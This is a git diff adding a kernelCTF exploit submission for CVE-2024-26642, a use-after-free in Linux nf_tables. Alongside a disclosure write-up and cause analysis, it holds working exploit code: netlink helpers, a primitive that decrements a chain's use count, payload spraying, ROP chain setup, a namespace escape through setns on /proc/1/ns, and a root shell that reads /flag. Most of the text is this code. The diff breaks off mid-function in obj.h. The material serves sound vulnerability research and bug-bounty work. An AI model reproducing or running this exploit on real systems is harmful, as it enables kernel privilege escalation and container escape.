diff --git a/pocs/linux/kernelctf/CVE-2024-26642_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/docs/exploit.md new file mode 100644 index 00000000..37734117 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/docs/exploit.md @@ -0,0 +1,126 @@ +# Exploit detail about CVE-2024-26642 +If you want to get some base information about CVE-2024-26642, please read [vulnerability.md](./vulnerability.md) first. + +## Background +nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem. + +It consists of three main components: kernel implementation, libnl netlink communication and nftables user space front-end. The kernel provides a netlink configuration interface and runtime rule set evaluation. libnl contains basic functions for communicating with the kernel. The nftables front end is for user interaction through nft. + +nftables implements data packet filtering by using some components like `table`, `set`, `chain`, `rule`. + +## Some additional stories +After reading `vulnerability.md` or `cause analysis`, you may wonder why the root cause and patch do not seem to match. I can only talk about the vulnerability reporting process for this question. +I sent a vulnerability report to security@kernel.org at 2024.2.29 13:33: +``` +Hi, I've found a new vulnerability in Linux netfilter/nftable subsystem. In the function nf_tables_deactivate_set, it does not set "set->dead = 1". This makes it possible to call nft_setelem_data_deactivate with a set element more than once by following this step: +1. Create a pipapo set with flag NFT_SET_TIMEOUT and NFT_SET_ANONYMOUS. +2. Create a set element of this pipapo set with flag NFTA_SET_ELEM_EXPIRATION. +3. Create a chain. +4. Create a rule with nft_lookup expr, which will bind the pipapo set we create in step 1. +5. Delete the chain And finally nft_setelem_data_deactivate will be called for the same set element both in nft_map_deactivate and in function pipapo_gc. + +Attachment is the poc I wrote for this vulnerability, which leaks some kernel pointers. I tested it on linux 6.1.78. + +Thanks, +lonial con +``` +The email also attached a poc I wrote based on the trigger idea (it can cause the latest kernel at that time to produce crahs). I did not receive any reply emails afterwards. +On 2024.3.5, I noticed that the maintainer of netfilter pushed a patch to netfilter (https://patchwork.ozlabs.org/project/netfilter-devel/patch/20240301022605.146412-1-pablo@netfilter.org/). He pushed the corresponding patch without asking for any opinion from me. + +The patch did make my poc not work, but this patch did not fix the core of the problem `set->dead = 1`. Therefore, I added two patch commits to `vulnerability.md`. + +## Cause anaylysis + +In the function nf_tables_deactivate_set, it does not set "set->dead = 1". This makes it possible to call nft_setelem_data_deactivate with a set element more than once by following this step: + +1. Create a pipapo set with flag NFT_SET_TIMEOUT and NFT_SET_ANONYMOUS. +2. Create a set element of this pipapo set with flag NFTA_SET_ELEM_EXPIRATION. +3. Create a chain. +4. Create a rule with nft_lookup expr, which will bind the pipapo set we create in step 1. +5. Delete the chain + +After you send these commands in a message list, when you reach step 5 `delete the chain`, the following call chain will occur: +``` +nf_tables_delchain -> nft_delrule -> nft_rule_expr_deactivate -> (expr->ops->deactivate) -> nft_lookup_deactivate -> nf_tables_deactivate_set -> case NFT_TRANS_PREPARE: nft_map_deactivate +``` +`nft_map_deactivate` will eventually call `nft_setelem_data_deactivate` for all set elements in the set. + +But at the same time, after all commands are executed, nftable will also call `nf_tables_commit`, which triggers another call chain: + +``` +nf_tables_commit -> (set->ops->commit) -> nft_pipapo_commit -> pipapo_gc -> nft_pipapo_gc_deactivate -> nft_setelem_data_deactivate +``` + +Finally, `nft_setelem_data_deactivate` will be called for elements which are timed out in the pipapo set, which may result in multiple calls to `nft_setelem_data_deactivate` for the same set element. + +## Triggering the vulnerability + +It's easy to trigger it by following this steps: + +- Create a pipapo set with flag NFT_SET_TIMEOUT and NFT_SET_ANONYMOUS. +- Create a set element of this pipapo set with flag NFTA_SET_ELEM_EXPIRATION. +- Create a chain. +- Create a rule with nft_lookup expr, which will bind the pipapo set we create in step 1. +- Delete the chain + + +## Exploit it + +Using CVE-2024-26642 to exploit a mitigation instance is completely different from exploiting a LTS or COS instance. But it can use the same idea as [this article](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-6817_mitigation/docs/exploit.md). My exploit is implemented by simply modifying the exploit code [here](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-6817_mitigation/exploit/mitigation-v3-6.1.55/exploit.c). This article only details the modified part of the original exploit(How to trigger the vulnerability so that chain B use count being decremented an additional time). For the content of the original exploit, please read [this article](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-6817_mitigation/docs/exploit.md). + +## Primitive + +### Primitive_1 +I build a function named as `primitive_1` to change the nft_chain->use by triggering the vulnerabiltiy: + +```c +//make target_chain->use = target_chain->use - 1 +void primitive_1(struct nl_sock *socket, char *table, char *target_chain){ + char *pad = malloc(0x100); + memset(pad,0x41,0x100); + int i; + struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x200); + char *set_name = "set for primitive1"; + char *chain_name = "chain for primitive1"; + char *key = malloc(0x40); + msg_list[0] = new_set_pipapo_for_timeout_and_chain_with_anonymous_msg(table, set_name, 0x40); + msg_list[1] = new_chain_msg(table, chain_name, 0); + msg_list[2] = new_setelem_with_chain_and_expiration_msg(table, set_name, pad, 0xc0, target_chain, NULL, 0, NULL, 0, 1,0x0100000000000000); + msg_list[3] = new_rule_lookup_for_chain_msg(table, chain_name, set_name, 1); + msg_list[4] = del_chain_msg(table, chain_name); + char *tmp = malloc(0x40); + for(i=0;i<0x100;i++){ + snprintf(tmp, 0x40, "table for primitive %d", i); + msg_list[5+i] = new_table_with_udata_msg(tmp, key, 0x40); + } + send_msg_list(socket, msg_list, 0x105); + + free(msg_list); + free(pad); +} +``` + +How it works: +1. message 0: Create a pipapo set with flags `NFT_SET_TIMEOUT` and `NFT_SET_ANONYMOUS` +2. message 1: Create a chain +3. message 2: Create a set elements, all of which contain `NFTA_SET_ELEM_EXPIRATION` and `NFTA_SET_ELEM_TIMEOUT`. +4. message 3: Create a rule on the chain, which contains an expr of type `lookup`. `lookup` expr can be bound to an `nft_set` when initialized, and we let it bind the pipapo set created by message[0]. +5. message 4: Delete the chain created by message 2 +6. mseesage 5 - 0x104: Create 0x100 table with `udata`. This is just to increase the number of messages to ensure that the set element created by message 2 will time out when the vulnerability is triggered. + +When the above message is sent, two rounds of calls to `nft_setelem_data_deactivate` for the same set element will be triggered: + +The first round is when executing message 4, and the following call path will be generated in the end: + +```c +nf_tables_delchain -> nft_delrule -> nft_rule_expr_deactivate -> (expr->ops->deactivate) -> nft_lookup_deactivate -> nf_tables_deactivate_set -> nft_map_deactivate +``` + +The `nft_map_deactivate` function will call `nft_mapelem_deactivate` -> `nft_setelem_data_deactivate` for all elements in the pipapo set created by message 0. + +The second round is after all messages are executed, `netfilter` will call the `nf_tables_commit` function, and finally generate the calling path: +```c +nft_set_commit_update -> (set->ops->commit) -> nft_pipapo_commit -> pipapo_gc -> nft_pipapo_gc_deactivate -> nft_setelem_data_deactivate +``` +The function `pipapo_gc` will also call `nft_setelem_data_deactivate` for all timeout elements in pipapo set. +(This is why it is necessary to add `set->dead = 1` in nf_tables_deactivate_set to fix the vulnerability, because after adding this line of code, the subsequent operations will not be executed in the function nft_set_commit_update.) diff --git a/pocs/linux/kernelctf/CVE-2024-26642_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/docs/vulnerability.md new file mode 100644 index 00000000..1d8a33c8 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/docs/vulnerability.md @@ -0,0 +1,25 @@ +# Vulneribility +The function `nf_tables_deactivate_set` does not set "set->dead = 1". This makes it possible to call `nft_setelem_data_deactivate` with a set element more than once. + +## Requirements to trigger the vulnerability + - Capabilities: `CAP_NET_ADMIN` capability is required. + - Kernel configuration: `CONFIG_NETFILTER`, `CONFIG_NF_TABLES` + - Are user namespaces needed?: Yes + +## Commit which introduced the vulnerability + - [commit d60be2da67d172aecf866302c91ea11533eca4d9](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/net/netfilter/nf_tables_api.c?h=linux-6.1.y&id=d60be2da67d172aecf866302c91ea11533eca4d9) + +## Commit which fixed the vulnerability +- [commit 16603605b667b70da974bea8216c93e7db043bf1](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter?id=16603605b667b70da974bea8216c93e7db043bf1) +- [commit 552705a3650bbf46a22b1adedc1b04181490fc36](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=552705a3650bbf46a22b1adedc1b04181490fc36) + +## Affected kernel versions +- 6.1.35 and later +- 5.15.121 and later + +## Affected component, subsystem +- net/netfilter (nf_tables) + +## Cause +- UAF + diff --git a/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/Makefile b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/Makefile new file mode 100644 index 00000000..10df80bc --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/Makefile @@ -0,0 +1,8 @@ +exploit: + gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static +prerequisites: + sudo apt-get install libnl-nf-3-dev +run: + ./exploit +clean: + rm exploit diff --git a/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/README b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/README new file mode 100644 index 00000000..e1e03f0b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/README @@ -0,0 +1,2 @@ +Exploit for kctf mitigation-v3-6.1.55 +Run command "nsenter --target 1 -m -p" after run the poc. diff --git a/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/chain.h b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/chain.h new file mode 100644 index 00000000..d68ca170 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/chain.h @@ -0,0 +1,233 @@ +extern int cur_handle; +void new_chain(struct nl_sock * socket, char *table_name, char *chain_name, int if_binding){ + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); + nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); + if(if_binding>0){ + nla_put_u32(msg2, NFTA_CHAIN_FLAGS, htonl(NFT_CHAIN_BINDING)); + } + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } + cur_handle++; +} + +struct nlmsghdr * new_chain_msg(char *table_name, char *chain_name, int if_binding){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); + nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); + if(if_binding>0){ + nla_put_u32(msg2, NFTA_CHAIN_FLAGS, htonl(NFT_CHAIN_BINDING)); + } + cur_handle++; + return hdr2; +} + +void del_chain(struct nl_sock * socket, char *table_name, char *chain_name){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELCHAIN),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); + nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } +} + +struct nlmsghdr * del_chain_msg(char *table_name, char *chain_name){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELCHAIN),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); + nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); + return hdr2; +} + +void new_chain_with_hook(struct nl_sock * socket, char *table_name, char *chain_name, int hook_num, int priority){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + + struct nl_msg *hook = nlmsg_alloc(); + nla_put_u32(hook, NFTA_HOOK_HOOKNUM, htonl(hook_num)); + nla_put_u32(hook, NFTA_HOOK_PRIORITY, htonl(priority)); + + + nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); + nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); + nla_put_nested(msg2, NFTA_CHAIN_HOOK, hook); + + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create chain %s\n",chain_name); + } + cur_handle++; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/exploit b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/exploit new file mode 100755 index 00000000..575e4b2c Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/exploit.c b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/exploit.c new file mode 100644 index 00000000..99d42de2 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/exploit.c @@ -0,0 +1,222 @@ +#define _GNU_SOURCE +#include <err.h> +#include <errno.h> +#include <fcntl.h> +#include <inttypes.h> +#include <sched.h> +#include <stdio.h> +#include <stdlib.h> +#include <pthread.h> +#include <string.h> +#include <unistd.h> +#include <sys/ipc.h> +#include <sys/msg.h> +#include <sys/socket.h> +#include <sys/syscall.h> +#include <sys/sysinfo.h> +#include <linux/netlink.h> +#include <linux/netfilter/nfnetlink.h> +#include <linux/netfilter/nf_tables.h> +#include <linux/netfilter/nf_tables_compat.h> +#include <netlink/msg.h> +#include <netlink/attr.h> +#include <netlink/netlink.h> +#include <netlink/netfilter/nfnl.h> +#include <arpa/inet.h> +#include <linux/filter.h> +#include <linux/netfilter.h> +#include <linux/rtnetlink.h> +#include <linux/netfilter_ipv4/ip_tables.h> +#include <syscall.h> +#include <stdarg.h> +#include <sched.h> +#include <signal.h> +#include <fcntl.h> +#include <sys/mman.h> + + +#include "setelem.h" +#include "table.h" +#include "set.h" +#include "chain.h" +#include "rule.h" +#include "poc.h" + +int cur_handle = 0; + +void pin_on_cpu(int cpu) { + cpu_set_t cpu_set; + CPU_ZERO(&cpu_set); + CPU_SET(cpu, &cpu_set); + if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) { + perror("sched_setaffinity()"); + exit(EXIT_FAILURE); + } +} + +void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){ + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + int i; + for(i=0;i<num;i++){ + total_size = total_size + NLMSG_ALIGN(msg_list[i]->nlmsg_len); + } + char *buf = malloc(total_size); + memset(buf, 0, total_size); + memcpy(buf, hdr1, NLMSG_ALIGN(hdr1->nlmsg_len)); + char *off = buf + NLMSG_ALIGN(hdr1->nlmsg_len); + for(i=0;i<num;i++){ + memcpy(off, msg_list[i], NLMSG_ALIGN(msg_list[i]->nlmsg_len)); + off = off + NLMSG_ALIGN(msg_list[i]->nlmsg_len); + } + memcpy(off, hdr3, NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + if (res < 0) { + printf("sending message failed\n"); + } +} + +//make target_chain->use = target_chain->use - 1 +void primitive_decrease_nft_chain_use(struct nl_sock *socket, char *table, char *target_chain){ + char *pad = malloc(0x100); + memset(pad,0x41,0x100); + int i; + struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x200); + char *set_name = "set for primitive1"; + char *chain_name = "chain for primitive1"; + char *key = malloc(0x40); + msg_list[0] = new_set_pipapo_for_timeout_and_chain_with_anonymous_msg(table, set_name, 0x40); + msg_list[1] = new_chain_msg(table, chain_name, 0); + msg_list[2] = new_setelem_with_chain_and_expiration_msg(table, set_name, pad, 0xc0, target_chain, NULL, 0, NULL, 0, 1,0x0100000000000000); + msg_list[3] = new_rule_lookup_for_chain_msg(table, chain_name, set_name, 1); + msg_list[4] = del_chain_msg(table, chain_name); + char *tmp = malloc(0x40); + for(i=0;i<0x100;i++){ + snprintf(tmp, 0x40, "table for primitive %d", i); + msg_list[5+i] = new_table_with_udata_msg(tmp, key, 0x40); + } + + send_msg_list(socket, msg_list, 0x105); + + free(msg_list); + free(pad); +} + +void exploit(int64_t kernel_off){ + //fd to spray payloads + int spray_fd; + spray_fd = socket(AF_INET, SOCK_STREAM, 0); + if(spray_fd < 0){ + printf("Get spray_fd fail.\n"); + return; + } + + // mmap an isolated page which will fault when over-read + payload_page = mmap((void*)0xAAAAA000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); + if(payload_page == MAP_FAILED){ + printf("mmap fail.\n"); + return; + } + // fd to trigger payload + int s; + s = socket(AF_INET, SOCK_DGRAM, 0); + if(s<0){ + printf("socket fail.\n"); + return; + } + struct sockaddr_in dst = {}; + dst.sin_port = 9999; + inet_aton("127.0.0.1", &dst.sin_addr); + + struct nl_sock * socket = nl_socket_alloc(); + + if(nfnl_connect(socket)<0){ + printf("nfnl_connect fail!\n"); + return 0; + } + //create new table + char *table = "table for exploit"; + new_table(socket, table); + //create new set + char *pipapo_set = "pipapo set for exploit"; + new_set_pipapo_for_chain(socket,table, pipapo_set, 0x40); + //create new chain A + char *chain_a = "chain A"; + new_chain_with_hook(socket, table, chain_a, NF_INET_LOCAL_IN, 0); + //create new chain B + char *chain_b = "chain B"; + new_chain(socket, table, chain_b, 0); + //create new rule RETURN to chain B + new_rule_immediate(socket, table, chain_b, NFT_RETURN, NULL); + //create new rule JUMP chain B to chain A + new_rule_immediate(socket, table, chain_a, NFT_JUMP, chain_b); + // Now we need to blow up chain B, the allocation needs to be larger than 4096. + // We will simply add NFT_CONTINUE immediate expressions, for no specific reason. + // Directly add 0x80 rules to meet the requirements + struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x90); + for(int i=0;i<0x80;i++){ + msg_list[i] = new_rule_immediate_msg(table, chain_b, NFT_CONTINUE, NULL); + } + send_msg_list(socket, msg_list, 0x80); + + sleep(1);//Waiting the function nf_tables_commit + //Trigger vul. + primitive_decrease_nft_chain_use(socket, table, chain_b); + del_chain(socket, table, chain_b); + sleep(1);//Waiting the function nft_commit_release which finally call nf_tables_chain_destroy + + printf("spraying payloads ..\n"); + if (spray_payload(spray_fd) < 0) { + exit(1); + } + setup_cpu_entry_area(kernel_off); + // wait for it to complete + sleep(1); + // Trigger the payload .. + sendto(s, rop_chain_rsi, sizeof(rop_chain_rsi), 0, (struct sockaddr*)&dst, sizeof(dst)); + // if we made it this far, we hopefully succeeded: + setns(open("/proc/1/ns/mnt", O_RDONLY), 0); + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + char* shell[] = { + "/bin/sh", + "-c", + "/bin/cat /flag && /bin/sh", + NULL, + }; + execve(shell[0], shell, NULL); + exit(1); + +} + +int main(void) { + sandbox(); + pin_on_cpu(0); + int64_t kernel_off = bypass_kaslr(0); + setup_registers(&payload,kernel_off); + setup_rop_chain(&payload,kernel_off); + exploit(kernel_off); + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/obj.h b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/obj.h new file mode 100644 index 00000000..d299c040 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/obj.h @@ -0,0 +1,129 @@ +extern int cur_handle; +void new_obj_ct_expect(struct nl_sock * socket, char *table_name, char *obj_name, void *udata, uint32_t ulen){ + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWOBJ),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + 